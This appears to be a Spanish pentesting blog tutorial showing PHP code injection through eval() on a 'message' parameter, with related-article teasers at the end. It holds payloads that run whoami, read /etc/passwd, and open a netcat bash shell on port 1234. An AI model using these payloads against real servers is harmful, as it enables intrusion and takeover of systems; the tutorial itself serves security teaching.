Artículo · Pentesting a Aplicaciones Web

Inyección de código malicioso en aplicaciones Web(PHP)

Samuel EstebanSamuel Esteban 4 min de lectura

Owasp posee un TOP 10 de vulnerabilidades orientadas a aplicaciones web, sin duda la vulnerabilidad número 1 y la más relevante consiste en ataques de tipo Inyección. Las inyecciones SQL son las más conocidas, sin embargo existen muchos tipos de inyecciones como por ejemplo, Inyección Xpath, Inyección de Comandos, Inyección LDAP, etc.

En esta oportunidad nos enfocaremos en una vulnerabilidad en particular la cual consiste en Inyectar Código PHP de forma remota.

A continuación tenemos el siguiente escenario.

Inyección Código PHP - Escenario

 

 

Aparentemente tenemos un sitio web simple (sin mayor información sensible).

 

Inyección Código PHP – Parámetro “Message”

 

Sin embargo, tenemos un parámetro llamado message, el cual tiene como valor test. Como es posible observar en la imagen anterior, el valor test se ve reflejado dentro de la aplicación web. Si le cambiamos ese valor por cualquier cosa, nos devolverá el valor dentro del sitio web.

 

 

Inyección Código PHP – Cambiando valor de “Message”

 

Se podría intentar realizar diversos ataques como (XSS, SQli, LFI, etc), sin embargo el enfoque principal es intentar verificar si la aplicación es vulnerable a una inyección PHP de código remoto. Para ello, utilizaremos el siguiente vector de ataque:

 

 

print(exec('whoami'))

 

 

El comando whoami servirá para detectar que usuario está ejecutando el sitio web.

 

                                                                                    Inyección Código PHP – Cambiando valor de “Message”

 

 

Excelente, el sitio web es vulnerable, ya que como es posible apreciar, el comando whoami, logró ser exitoso, ya que nos retornó el nombre de usuario que está siendo utilizado con permisos sobre el sitio web, en este caso el usuario www-data. Pero ¿Por qué es vulnerable? Lamentablemente existen desarrolladores que utilizan métodos de impresión de datos no recomendados por PHP, como es el caso de la función Eval. 


Si vemos el código fuente del recurso phpi.php obtenemos lo siguiente:

 

                                                                                            Inyección Código PHP – Recurso vulnerable

 

En este recurso, se utiliza la función eval, la cual permite mostrar los datos por pantalla, sin embargo no se recomienda utilizarla ya que también es posible ejecutar comandos del sistema.

Por otra parte, y siguiendo con la explotación de la vulnerabilidad, podríamos además listar el archivo passwd de Linux.

 

 

Inyección Código PHP – Archivo Passwd

 

El problema de esto, es que solo me está mostrando la última línea del archivo. Si queremos mostrar el archivo iterando línea por línea comenzando desde la primera, debemos utilizar el comando head, de la siguiente manera:

 

print(exec('head -1 /etc/passwd'))

 

Con esto le decimos que nos muestre la primera línea del archivo (comenzando desde la primera), si queremos mostrar la segunda simplemente reemplazamos el -1 por el -2 y así sucesivamente.

 

Inyección Código PHP – Archivo Passwd línea 1

 

A continuación intentaremos realizar una conexión revesa, para poder obtener una shell de Linux y poder controlar el servidor web.

 

 

print(exec('nc -lp 1234 -e /bin/bash'))

 

Lo que hace este comando es decirle al intérprete que abra el puerto 1234 y lo mantenga a la escucha, de tal modo que si alguien se conecta a dicho puerto podrá obtener una Shell bash y ejecutar comandos de forma arbitraria.

 

 

Inyección Código PHP – Conexión Reversa

 

Máquina atacante:

 


Inyección Código PHP – Conexión Reversa a través del atacante


Se logró obtener una Shell inversa con el atacante. Por último crearemos un archivo de prueba para ratificar que tenemos el control del sistema.

 

 

 

 

 

Inyección Código PHP – Creando archivo HTML

                                                                                            Inyección Código PHP – Verificando el archivo creado

 

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Web Application Testing.

Samuel Esteban

Escrito por

Samuel Esteban

Senior Pentester

Actualmente me desempeño como Pentester...

Sigue leyendo

Sqlmap - ejemplo con metasploitable2
Pentesting a Aplicaciones Web

Sqlmap - ejemplo con metasploitable2

MMartin Frias

Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.

Portainer es una herramienta web open-source: Gestor Web para Docker
Pentesting a Aplicaciones Web

Portainer es una herramienta web open-source: Gestor Web para Docker

Javier Candia

En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.

Evil Limiter
Pentesting a Aplicaciones Web

Evil Limiter

Erik Garcia

Si se encuentra con un compañero de cuarto que acapara el ancho de banda de datos limitado con videojuegos o descubre que un vecino se ha invitado a su red Wi-Fi, puede recuperar fácilmente el control de su acceso a Internet. Evil Limiter hace esto al permitirle controlar la velocidad de bits de cualquier dispositivo en la misma red que usted, lo que le permite reducir o incluso detener la velocidad de transferencia de datos por completo.